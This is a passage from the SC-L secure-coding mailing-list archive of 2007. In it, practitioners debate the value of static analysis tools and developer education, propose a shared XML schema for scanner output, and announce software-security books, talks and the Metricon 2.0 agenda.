do a study which *might* show your software/methodology/whatever helps,
or pay $1,000,000 to hire a bunch of "feet on the street" to sell more
copies?  So we have to go by gut feel and engineering judgement.  Those
certainly say, for most people, that static analyzers will help.  Then
again, I'm sure most people on this list will argue that strong static
typing is essential for secure, reliable software.  "Everyone has known
that" for 20 years or more.  Except that ... if you look around, you'll
find many arguments these days that the run-time typing characteristic
of languages like Python or Ruby is just as good and lets you produce
software much faster.  Which argument is true?  You'd think that after
50 years of software development, we'd at least know how to frame a
test ... but even that seems beyond the state of the art.

							-- Jerry

| Cheers! 
| 
| JS
| 
| _______________________________________________
| Secure Coding mailing list (SC-L) SC-L at securecoding.org
| List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
| List charter available at - http://www.securecoding.org/list/charter.php
| SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
| as a free, non-commercial service to the software security community.
| _______________________________________________
| 
| 

From dwheeler at ida.org  Thu Jun 28 14:47:30 2007
From: dwheeler at ida.org (David A. Wheeler)
Date: Thu, 28 Jun 2007 14:47:30 -0400
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <Pine.SOL.4.61.0706281307370.19681@mental>
References: <001801c7b99a$6c075330$6207a8c0@jseitz>
	<Pine.SOL.4.61.0706281307370.19681@mental>
Message-ID: <46840242.7090808@ida.org>

On the comment:
> | I am not disagreeing with the fact the static source analysis is a
> | good thing, I am just saying that this is a case where it failed (or
> | maybe the user/developer of it failed or misunderstood it's use). Fair
> | enough that on this particular list you are going to defend source
> | analysis over any other method, it is about secure coding after all,
> | but I definitely still strongly disagree that other methods wouldn't
> | have found this bug.

Actually, I am _not_ of the opinion that analysis tools are always 
"better" than any other method.  I don't really believe in a silver 
bullet, but if I had to pick one, "developer education" would be my 
silver bullet, not analysis tools.  (Basically, a "fool with a tool is 
still a fool".)  I believe that for secure software you need a SET of 
methods, and tool use is just a part of it.

That said, I think tools that search for vulnerabilities usually need to 
be PART of the answer for secure software in today's world.  Customers 
are generally _unwilling_ to reduce the amount of functionality they 
want to something we can easily prove correct, and formally proving 
programs correct has not scaled well yet (though I commend the work to 
overcome this).   No language can prevent all vulnerabilities from being 
written in the first place.  Human review is _great_, but it's costly in 
many circumstances and it often misses things that tools _can_ pick up. 
So we end up needing analysis tools as part of the process, even though 
current tools have a HUGE list of problems.... because NOT using them is 
often worse. Other methods may have found the bug, but other methods 
typically don't scale well.

> As with almost everything in software engineering, sad to say, there is
> very little objective evidence.  It's hard and expensive to gather, and
> those who are in a position to pay for the effort rarely see a major
> payoff from making it.

This is a serious problem with software development as a whole; there's 
almost no science behind it at all.   Science requires repeatable 
experiments with measurable results, but most decisions in software 
development are based on guesses and fads, not hard scientific data.

I'm not saying educated guesses are always bad; when you don't have 
data, and you need to do something NOW, educated guesses are often the 
best you can do... and we'll never know EVERYTHING.  The problem is that 
we rarely perform or publish the experiments to get better, so we don't 
make real PROGRESS.  And we don't do the experiments in part because few 
organizations fund actual, publishable scientific work to determine 
which software development approaches work best in software development. 
  (There are exceptions, but it sure isn't the norm.)  We have some good 
science on very low-level stuff like big-O/complexity theory, syntactic 
models, and so on - hey, we can prove trivial programs correct! But 
we're hopeless if you want to use science to make decisions about 50 
million line programs.  Which design approach or processes are best, and 
for what purpose - and can you show me the experimental results to 
justify the claim?  There IS some, but not much.  We lack the scientific 
information necessary to make decisions about many real-world (big) 
applications, and what's worse, we lack a societal process to grow that 
pool of information.  I've no idea how to fix that.

--- David A. Wheeler



From James.McGovern at thehartford.com  Thu Jun 28 16:26:49 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 28 Jun 2007 16:26:49 -0400
Subject: [SC-L] The Next Frontier
In-Reply-To: <C2A842FB.E2B0%paco@cigital.com>
References: <773F863A6009244B87E6E866AFC7DB4603999CB6@AD1HFDEXC309.ad1.prod> 
	<C2A842FB.E2B0%paco@cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999CE7@AD1HFDEXC309.ad1.prod>

Would Fortify consider making their schema open source and donating it
to OWASP? Likewise, would Ouncelabs, coverity and others be willing to
adapt their product to it?


 

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Paco Hope
Sent: Wednesday, June 27, 2007 4:38 PM
To: Secure Coding
Subject: Re: [SC-L] The Next Frontier

On 6/26/07 5:00 PM, "McGovern, James F (HTSC, IT)"
<James.McGovern at thehartford.com> wrote:

Would there be value in terms of defining an XML schema that all tools
could emit audit information to?

You might want to take a look at what the Fortify guys already do. Their
"FVDL" (Fortify Vulnerability Description Language) is XML written to a
specific schema. Here's a snippet:

<?xml version="1.0" encoding="UTF-8"?>
<FVDL xmlns="xmlns://www.fortifysoftware.com/schema/fvdl"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1.5"
xsi:type="FVDL"> <CreatedTS
xmlns="xmlns://www.fortifysoftware.com/schema/fvdl" date="2007-06-27"
time="16:27:37"/> <Build
xmlns="xmlns://www.fortifysoftware.com/schema/fvdl">
    <BuildID>curl-7.11.1</BuildID>
    <NumberFiles>42</NumberFiles>
    <LOC>23572</LOC>
 
<SourceBasePath>/Users/paco/Documents/Fortify/curl-7.11.1/lib</SourceBas
ePath>
    <SourceFiles>
        <File size="20098" timestamp="1079527605000">connect.c</File>
        <File size="11584" timestamp="1077710136000">krb4.c</File>
[..snip..]
<Vulnerability xmlns="xmlns://www.fortifysoftware.com/schema/fvdl">
    <ClassInfo>
        <ClassID>28424EC3-FFAC-40C0-94D9-3D8283B2F57C</ClassID>
        <Kingdom>Input Validation and Representation</Kingdom>
        <Type>Buffer Overflow</Type>
        <AnalyzerName>dataflow</AnalyzerName>
        <DefaultSeverity>4.0</DefaultSeverity>
    </ClassInfo>
    <InstanceInfo>
        <InstanceID>005542ED81D54F3C72BF3669EA8D130A</InstanceID>
        <InstanceSeverity>4.0</InstanceSeverity>
        <Confidence>3.4</Confidence>
    </InstanceInfo>
[..snip..]

Some of their XML seems quite reusable to me, and some of it seems
pretty proprietary. It doesn't seem like they share a DTD or a schema
publicly. Perhaps a little coaxing would get them to release it.

Paco
--
Paco Hope, CISSP
Technical Manager, Cigital, Inc
http://www.cigital.com/ * +1.703.585.7868 Software Confidence. Achieved.

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List
information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com) as a free, non-commercial service to the software
security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Thu Jun 28 16:27:02 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 28 Jun 2007 16:27:02 -0400
Subject: [SC-L] Comparing Software Vendors
In-Reply-To: <Pine.SOL.4.61.0706270933090.19681@mental>
References: <005d01c7b83b$0f9bf9d0$6207a8c0@jseitz> 
	<Pine.SOL.4.61.0706270933090.19681@mental>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999CE9@AD1HFDEXC309.ad1.prod>

 Jerry Leichter commented on flaws in scanning tools but I have a
different question. Lots of folks love to attack MS while letting other
vendors off the hook.Is there merit in terms of comparing vendor
offerings within a particular product line. For example is EMC's
Documentum product more secure than say an open source ECM vendor such
as Alfresco?

The industry analysts tend not to actually touch tools and rely on
others. There is some value in terms of quantifying which products are
more secure than others, so shouldn't we as a community help them figure
this out?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Thu Jun 28 17:16:57 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 28 Jun 2007 17:16:57 -0400
Subject: [SC-L] Instead of the next frontier, how about another frontier
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999CEE@AD1HFDEXC309.ad1.prod>

I was thinking, Instead of the next frontier, how about another
frontier? Many software vendors pretend that the entire world is either
Java or .NET without acknowledging that all of the really good data in
many enterprises is sitting on a big ugly mainframe running COBOL, IMS,
PL/1, etc. It is assumed at this level that most folks in this space
have zero knowledge of these platforms and hence the reason their tools
don't support. 

It is my current thought that us folks in enterprises could do several
things. First, we have the environment that others may not have access
to. Second, we have employees that can help write specifications for
detecting some aspects (they are not secure coding oriented but do
understand things like buffer overflows) in PL1, COBOL, Assembler, etc. 

If the later is of value, we would of course like to figure out how to
make this happen with one effort where every vendor could potentially
consume and not do it for a single vendor.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070628/d1094f0d/attachment-0001.html 

From fw at deneb.enyo.de  Fri Jun 29 03:56:07 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Fri, 29 Jun 2007 09:56:07 +0200
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com> (Kenneth Van
	Wyk's message of "Tue, 26 Jun 2007 16:41:09 -0400")
References: <46816ECA.7000008@idefense.com>
	<DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com>
Message-ID: <874pkrmbxk.fsf@mid.deneb.enyo.de>

* Kenneth Van Wyk:

> 1) the original author of the defect thought that s/he was doing
> things correctly in using strncpy (vs. strcpy).

> 2) the original author had apparently been doing static source
> analysis using David Wheeler's Flawfinder tool, as we can tell from
> the comments.

This is not a first, BTW.  The Real folks have always been a bit
overzealous when adding those "Flawfinder: ignore" annotations:

<http://archive.cert.uni-stuttgart.de/vulnwatch/2005/03/msg00000.html>

From Jason.Bennett at thales-esecurity.com  Fri Jun 29 05:23:06 2007
From: Jason.Bennett at thales-esecurity.com (Bennett, Jason)
Date: Fri, 29 Jun 2007 10:23:06 +0100
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory
Message-ID: <CF3B16C299E5344E9D852923BEBEE0B2CD2A11@ukbtn05.btn.thales-esecurity.com>

------------------------------

Message: 3
Date: Thu, 28 Jun 2007 14:47:30 -0400
From: "David A. Wheeler" <dwheeler at ida.org>
Subject: Re: [SC-L] Interesting tidbit in iDefense Security Advisory
	06.26.07
To: sc-l at securecoding.org
Message-ID: <46840242.7090808 at ida.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed

On the comment:
> | I am not disagreeing with the fact the static source analysis is a
> | good thing, I am just saying that this is a case where it failed (or
> | maybe the user/developer of it failed or misunderstood it's use). Fair
> | enough that on this particular list you are going to defend source
> | analysis over any other method, it is about secure coding after all,
> | but I definitely still strongly disagree that other methods wouldn't
> | have found this bug.

Actually, I am _not_ of the opinion that analysis tools are always 
"better" than any other method.  I don't really believe in a silver 
bullet, but if I had to pick one, "developer education" would be my 
silver bullet, not analysis tools.  (Basically, a "fool with a tool is 
still a fool".)  I believe that for secure software you need a SET of 
methods, and tool use is just a part of it.

That said, I think tools that search for vulnerabilities usually need to 
be PART of the answer for secure software in today's world.  Customers 
are generally _unwilling_ to reduce the amount of functionality they 
want to something we can easily prove correct, and formally proving 
programs correct has not scaled well yet (though I commend the work to 
overcome this).   No language can prevent all vulnerabilities from being 
written in the first place.  Human review is _great_, but it's costly in 
many circumstances and it often misses things that tools _can_ pick up. 
So we end up needing analysis tools as part of the process, even though 
current tools have a HUGE list of problems.... because NOT using them is 
often worse. Other methods may have found the bug, but other methods 
typically don't scale well.

Totally agree with the analysis tools not being a 'silver bullet' and being
just another part of the toolkit for producing secure (what ever this
means!) software. I think a mistake that companies make is assuming that
analysis tools are a substitute for security training. To my mind the tools
are really for auditing and enforcement purposes as to the effectiveness of
the security training but are limited if just used on their own. The tools
are great at taking the mundane work out of code reviews and also take into
account that humans are fallible and just because they did something correct
once doesn't mean they'll do it correct the next time but security training
is essential.

... a "fool with a tool is still a fool" - this has been true for so long be
is still amazes me how often this is discarded. It seems that the first
answer to any software engineering problems is to throw more expensive tools
at it instead of remembering it's good engineers that solve problems not
good tools.


Consider the environment before printing this mail.
"Thales e-Security Limited is incorporated in England and Wales with company
registration number 2518805. Its registered office is located at 2 Dashwood
Lang Road, The Bourne Business Park, Addlestone, Nr. Weybridge, Surrey KT15
2NX.
The information contained in this e-mail is confidential. It may also be
privileged. It is only intended for the stated addressee(s) and access to it
by any other person is unauthorised. If you are not an addressee or the
intended addressee, you must not disclose, copy, circulate or in any other
way use or rely on the information contained in this e-mail. Such
unauthorised use may be unlawful. If you have received this e-mail in error
please delete it (and all copies) from your system, please also inform us
immediately on +44 (0)1844 201800 or email postmaster at thales-esecurity.com.
Commercial matters detailed or referred to in this e-mail are subject to a
written contract signed for and on behalf of Thales e-Security Limited". 

From brian at fortifysoftware.com  Wed Jul  4 23:30:14 2007
From: brian at fortifysoftware.com (Brian Chess)
Date: Wed, 04 Jul 2007 20:30:14 -0700
Subject: [SC-L] Secure Programming with Static Analysis
Message-ID: <C2B1B3D6.31DC2%brian@fortifysoftware.com>

Jacob West and I are proud to announce that our book, Secure Programming
with Static Analysis, is now available.

    http://www.amazon.com/dp/0321424778
    
The book covers a lot of ground.
* It explains why static source code analysis is a critical part of a secure
development process.
* It shows how static analysis tools work, what makes one tool better than
another, and how to integrate static analysis into the SDLC.
* It details a tremendous number of vulnerability categories, using
real-world examples from programs such as Sendmail, Tomcat, Adobe Acrobat,
Mac OSX, and dozens of others.

We'd like to thank the many members of the sc-l list who helped us out with
the book in one way or another, including:
  Pravir Chandra
  Gary McGraw
  Katrina O'Neil
  John Steven
  Ken van Wyk

Regards,
Brian and Jacob


From gem at cigital.com  Thu Jul  5 09:01:08 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 5 Jul 2007 09:01:08 -0400
Subject: [SC-L] Secure Programming with Static Analysis
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11F5FCA@va-mailhub.cigital.com>

Hi sc-l,

I have read this awesome book (more than once) and can vouch for it.  It is an important part of the addison-wesley software security series, the series that includes:
Software Security www.swsec.com
Rootkits
Exploiting Software
Building Secure Software
(and any day now Exploiting Online Games)

For more on the series, see www.buildingsecurityin.com.  We are always on the lookout for more titles for the series, especially if they dive deeply into one of the seven touchpoints, so if you have a book idea please let me know.

Meanwhile, click on this link and buy Brian and Jacob's book:
http://www.amazon.com/dp/0321424778

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com




Sent from my treo.

 -----Original Message-----
From:   Brian Chess [mailto:brian at fortifysoftware.com]
Sent:   Thursday, July 05, 2007 06:11 AM Eastern Standard Time
To:     sc-l at securecoding.org
Subject:        [SC-L] Secure Programming with Static Analysis

Jacob West and I are proud to announce that our book, Secure Programming
with Static Analysis, is now available.

    http://www.amazon.com/dp/0321424778

The book covers a lot of ground.
* It explains why static source code analysis is a critical part of a secure
development process.
* It shows how static analysis tools work, what makes one tool better than
another, and how to integrate static analysis into the SDLC.
* It details a tremendous number of vulnerability categories, using
real-world examples from programs such as Sendmail, Tomcat, Adobe Acrobat,
Mac OSX, and dozens of others.

We'd like to thank the many members of the sc-l list who helped us out with
the book in one way or another, including:
  Pravir Chandra
  Gary McGraw
  Katrina O'Neil
  John Steven
  Ken van Wyk

Regards,
Brian and Jacob

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From gem at cigital.com  Fri Jul  6 15:09:40 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 6 Jul 2007 15:09:40 -0400
Subject: [SC-L] Video: security, software, software security
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA1332143@va-mailhub.cigital.com>

Hi sc-l,

Addison-Wesley's parent company Pearson debuted a vodcast series recently.  One day they plan to have a website of their own (don't ask), but for now the series can be found on iTunes.  For those three of you who don't use iTunes, I apologize.

Of interest to sc-l subscribers, the series includes a video about "Exploiting Online Games" (releasing next week):
http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=257338614&s=143441&i=17074019

And a video about "Secure Programming with Static Analysis"
http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=257763157&s=143441&i=17074030

Hope you enjoy the series.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From gem at cigital.com  Fri Jul  6 18:46:33 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 6 Jul 2007 18:46:33 -0400
Subject: [SC-L] Foreword to Chess/West
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA13321A9@va-mailhub.cigital.com>

Hi sc-l,

I posted the foreword that I wrote for "Secure Programming with Static Analysis" on the justiceleague blog today.  Check it out:

http://www.cigital.com/justiceleague/2007/07/06/from-the-foreword-to-secure-programming-with-static-analysis/

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From gunnar at arctecgroup.net  Fri Jul  6 15:56:00 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Fri, 06 Jul 2007 14:56:00 -0500
Subject: [SC-L] Metricon 2.0
Message-ID: <C2B40880.AB00%gunnar@arctecgroup.net>

SC-Lers,

There are several presentations at Metricon by or of interest to SC-L
denizens.

-gp

The agenda for Metricon 2.0 in Boston August 7th has been set. Metricon is
co-located with Usenix security conference. The details, travel info,
registration, and agenda are here:

https://www.securitymetrics.org/content/Wiki.jsp?page=Metricon2.0

There are a limited number of openings so please REGISTER SOON if interested
in attending.
 
A summary of the presentations

Keynote Debate: ?Do Metrics Matter?? Andrew Jaquith (Yankee Group) & Mike
Rothman (SecurityIncite)

"Security Meta Metrics--Measuring Agility, Learning, and Unintended
Consequence" Russell Cameron Thomas (Meritology)

"Security Metrics in Practice: Development of a Security Metric System to
Rate Enterprise Software" Fredrick DeQuan Lee and Brian Chess (Fortify)

"A Software Security Risk Classification System"  Eric Dalci and Robert
Hines (Cigital) 

"Web Application Security Metrics" Jeremiah Grossman (WhiteHat Security)

"Operational Security Risk Metrics: Definitions, Calculations, and
Visualizations", Brian Laing, Mike Lloyd, and Alain Mayer (Redseal Systems)

"Metrics for Network Security Using Attack Graphs: A Position Paper", Anoop
Singhal (NIST), Lingyu Wang and Sushil Jaodia (Center for Secure Information
Systems, George Mason University)

"Software Security Weakness Scoring" Chris Wysopal (Veracode)

"Developing secure applications with metrics in mind"
Thomas Heyman Christophe Huygens, and Wouter Joosen (K.U.Leuven)

"Correlating Automated Static Analysis Alert Density to Reported
Vulnerabilities in Sendmail"
Michael Gegick and Laurie Williams (North Carolina State University)

Practitioner Panel moderated by Becky Bace: Three practitioners from thought
leading companies describe how they use metrics to make better decisions.

If you know others that would be interested this collaborative workshop,
please forward them this email and let them know about this opportunity.

Please contact us with any questions.

Thanks,
Betsy Nichols and Gunnar Peterson
Metricon 2.0 Co-Chairs




From James.McGovern at thehartford.com  Mon Jul  9 13:16:53 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 9 Jul 2007 13:16:53 -0400
Subject: [SC-L] Secure Programming with Static Analysis
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CAA11F5FCA@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11F5FCA@va-mailhub.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999D3E@AD1HFDEXC309.ad1.prod>

If you are seeking additional book ideas for this series, may I suggest
posting to computerbookauthors at yahoogroups.com?

There are two books that I would love to see:

- Designing Secure Software - Not everything is about the code
- Procuring Secure Software - Most enterprises nowadays buy software vs
build it 


-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Gary McGraw
Sent: Thursday, July 05, 2007 9:01 AM
To: 'Brian Chess'; 'sc-l at securecoding.org'
Subject: Re: [SC-L] Secure Programming with Static Analysis

Hi sc-l,

I have read this awesome book (more than once) and can vouch for it.  It
is an important part of the addison-wesley software security series, the
series that includes:
Software Security www.swsec.com
Rootkits
Exploiting Software
Building Secure Software
(and any day now Exploiting Online Games)

For more on the series, see www.buildingsecurityin.com.  We are always
on the lookout for more titles for the series, especially if they dive
deeply into one of the seven touchpoints, so if you have a book idea
please let me know.

Meanwhile, click on this link and buy Brian and Jacob's book:
http://www.amazon.com/dp/0321424778

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From jjchryan at gwu.edu  Mon Jul  9 17:30:47 2007
From: jjchryan at gwu.edu (Julie Ryan)
Date: Mon, 9 Jul 2007 17:30:47 -0400
Subject: [SC-L] Secure Programming with Static Analysis
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999D3E@AD1HFDEXC309.ad1.prod>
References: <41945506397C0C4886A8C5BFF089B5CAA11F5FCA@va-mailhub.cigital.com>
	<773F863A6009244B87E6E866AFC7DB4603999D3E@AD1HFDEXC309.ad1.prod>
Message-ID: <6819DEAC-72EB-403A-A689-C0F0128C64F1@gwu.edu>

The US Dept of Defense has done some work on the procurement side of  
the problem.  Here are two papers for those in very large  
bureaucracies who might be interested:

Best Software Assurance Practices in Acquisition of Trusted Systems
http://www.cisse.info/colloquia/cisse10/proceedings10/pdfs/papers/ 
S02P03.pdf

Software Assurance: Five Essential Considerations for Acquisition  
Officials
http://www.stsc.hill.af.mil/CrossTalk/2007/05/0705PolydysWisseman.html

On Jul 9, 2007, at 1:16 PM, McGovern, James F (HTSC, IT) wrote:

> If you are seeking additional book ideas for this series, may I  
> suggest
> posting to computerbookauthors at yahoogroups.com?
>
> There are two books that I would love to see:
>
> - Designing Secure Software - Not everything is about the code
> - Procuring Secure Software - Most enterprises nowadays buy  
> software vs
> build it
>
>
> -----Original Message-----
> From: sc-l-bounces at securecoding.org
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of Gary McGraw
> Sent: Thursday, July 05, 2007 9:01 AM
> To: 'Brian Chess'; 'sc-l at securecoding.org'
> Subject: Re: [SC-L] Secure Programming with Static Analysis
>
> Hi sc-l,
>
> I have read this awesome book (more than once) and can vouch for  
> it.  It
> is an important part of the addison-wesley software security  
> series, the
> series that includes:
> Software Security www.swsec.com
> Rootkits
> Exploiting Software
> Building Secure Software
> (and any day now Exploiting Online Games)
>
> For more on the series, see www.buildingsecurityin.com.  We are always
> on the lookout for more titles for the series, especially if they dive
> deeply into one of the seven touchpoints, so if you have a book idea
> please let me know.
>
> Meanwhile, click on this link and buy Brian and Jacob's book:
> http://www.amazon.com/dp/0321424778
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
>
> ********************************************************************** 
> ***
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the  
> intended
> recipient, any use, copying, disclosure, dissemination or  
> distribution is
> strictly prohibited.  If you are not the intended recipient, please  
> notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> ********************************************************************** 
> ***
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/ 
> listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/ 
> charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http:// 
> www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________



From list-procurare at secureconsulting.net  Mon Jul  9 17:34:01 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Mon, 9 Jul 2007 17:34:01 -0400
Subject: [SC-L] author contends CompSci != Maths
Message-ID: <000101c7c270$de1a4de0$0c01a8c0@zippy>

Caught this on /. this morning, maybe you did, too.  Pretty interesting
reading, really.  The fundamental argument is that algorithms are
inadequately expressive to suit CompSci today.  If you look at all the
attempts in 3GL, 4GL, 5GL and beyond to be more expressive, and if you've
ever listened to Donal Knuth speak, you might start tending to agree with
the argument.  What do you think?
http://www.itwire.com.au/content/view/13339/53/

---
Benjamin Tomhave, MS, CISSP, NSA-IAM, NSA-IEM
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/in/btomhave
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil rights and civil liberties of all
citizens, whatever their background. We must remember that any oppression,
any injustice, any hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt


From gem at cigital.com  Mon Jul  9 21:51:47 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 9 Jul 2007 21:51:47 -0400
Subject: [SC-L] Secure Programming with Static Analysis
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11F6056@va-mailhub.cigital.com>

Both good ideas.   Feel free to ping your friends and enemies with the URL.

I would like to see an in depth book on each of the touchpoints.   So far, the chess/west book covers code review.  My next choice would be a book on architectural risk analysis.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



Sent from my treo.

 -----Original Message-----
From:   McGovern, James F (HTSC, IT) [mailto:James.McGovern at thehartford.com]
Sent:   Monday, July 09, 2007 03:00 PM Eastern Standard Time
To:     sc-l at securecoding.org
Subject:        Re: [SC-L] Secure Programming with Static Analysis

If you are seeking additional book ideas for this series, may I suggest
posting to computerbookauthors at yahoogroups.com?

There are two books that I would love to see:

- Designing Secure Software - Not everything is about the code
- Procuring Secure Software - Most enterprises nowadays buy software vs
build it


-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Gary McGraw
Sent: Thursday, July 05, 2007 9:01 AM
To: 'Brian Chess'; 'sc-l at securecoding.org'
Subject: Re: [SC-L] Secure Programming with Static Analysis

Hi sc-l,

I have read this awesome book (more than once) and can vouch for it.  It
is an important part of the addison-wesley software security series, the
series that includes:
Software Security www.swsec.com
Rootkits
Exploiting Software
Building Secure Software
(and any day now Exploiting Online Games)

For more on the series, see www.buildingsecurityin.com.  We are always
on the lookout for more titles for the series, especially if they dive
deeply into one of the seven touchpoints, so if you have a book idea
please let me know.

Meanwhile, click on this link and buy Brian and Jacob's book:
http://www.amazon.com/dp/0321424778

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From gem at cigital.com  Thu Jul 12 12:33:38 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 12 Jul 2007 12:33:38 -0400
Subject: [SC-L] Darkreading: software security acquisitions
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA13A6E11@va-mailhub.cigital.com>

Hi sc-l

My latest darkreading column went up today:
http://www.darkreading.com/document.asp?doc_id=128902&WT.svl=column1_1

In the column, I talk about the implications of convergence and consolodation in the security market.

The proactive security market that sc-l readers are interested in has just started its second consolidation/acquisition wave.  The implications for software security are well worth close consideration.

Special thanks to Sammy Migues at Cigital for his insights on the security space parroted in this piece.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



From gem at cigital.com  Fri Jul 13 09:55:32 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 13 Jul 2007 09:55:32 -0400
Subject: [SC-L] Exploiting Online Games + Silver Bullet + Darkreading
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA13A6F6B@va-mailhub.cigital.com>

hi sc-l,

Greg Hoglund and I are releasing our new book "Exploiting Online Games" today.  Lots of information on the book can be found here http://exploitingonlinegames.com, including a foreword by Ed Felten, the usual blurbs, and a complete preface that explains the structure of the book.

Greg and I did a Silver Bullet episode that we released last night.  Greg is an interesting guy, with deep knowledge of rootkits, decompilers, and low level security exploits.  We talked about that, and we talked a little about EOG
http://www.cigital.com/silverbullet/

